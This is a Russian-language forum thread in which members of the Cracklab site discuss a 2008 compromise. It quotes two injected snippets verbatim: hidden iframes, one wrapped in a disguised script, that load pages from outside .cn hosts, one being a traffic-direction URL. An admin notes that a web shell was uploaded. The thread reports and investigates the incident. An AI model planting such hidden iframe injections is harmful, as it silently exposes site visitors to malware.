Извините за оффтоп, но кажется китайцы(?) Cracklab отимели.. в каждой странице имеется код:

<iframe src="http://xs.activeprotect.cn/forum/index.php" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>
<div style="display:none">
<?
echo "Bad_guy мудакер ";
?>



ЗЫ. Написал бы в оффтопе, но ранга нехватает.

| Сообщение посчитали полезным:

чет ненашол.
или это скратая реклама другого форума

| Сообщение посчитали полезным:

думаю можно пассы поменять ато они могли кукезы наши стащить с логином и с хешем пароля )

| Сообщение посчитали полезным:

Подверждаю, все,о чем написано в первом посте, было, я даже сохранить успел.
Уже страницу(ы) почистили... Пароли менять нет смысла,так как еще не сказали что да как, ждемс инфы...

| Сообщение посчитали полезным:

было дело, кто надо уже в курсе, меры надеюсь приняты без паники товарищи...
а пароли должны быть у всех небрутабильные

-----
[nice coder and reverser]

| Сообщение посчитали полезным:

Эх грамотей ... "отЫмели" ... а откуда китайчеги так хорошо не нормативным русским владеют?

-----
Сотрудник DHARMA

| Сообщение посчитали полезным:

TrueLies пишет:
а откуда китайчеги так хорошо не нормативным русским владеют?
Бытует мнение что это вовсе не китайцы))

-----
xchg dword [eax], eax

| Сообщение посчитали полезным:

Разберёмся, никому не суетиться Странички почистили уже, вроде.

| Сообщение посчитали полезным:

Всякое бывает с сайтами. Примем меры

-----
Всем не угодишь

| Сообщение посчитали полезным:

Расследование проведено - особо страшного ничего не случилось. Успели залить шелл, до базы форума добраться не успели. Лички дернуть не успели.
Кому интересно - проскальзывали в index.php такие вещи:

<!-- Rambler.Ru --><script language=javascript>status=location;document.write('<iframe src="http://xanjan.cn/tds/in.cgi?4" width=0 height=0 frameborder=0 display:none onLoad="status=defaultStatus;"></iframe>');</script><!-- Rambler.Ru -->

Логи в аттаче.

991d_25.04.2008_CRACKLAB.rU.tgz - fzs-2008-04-24.log

| Сообщение посчитали полезным: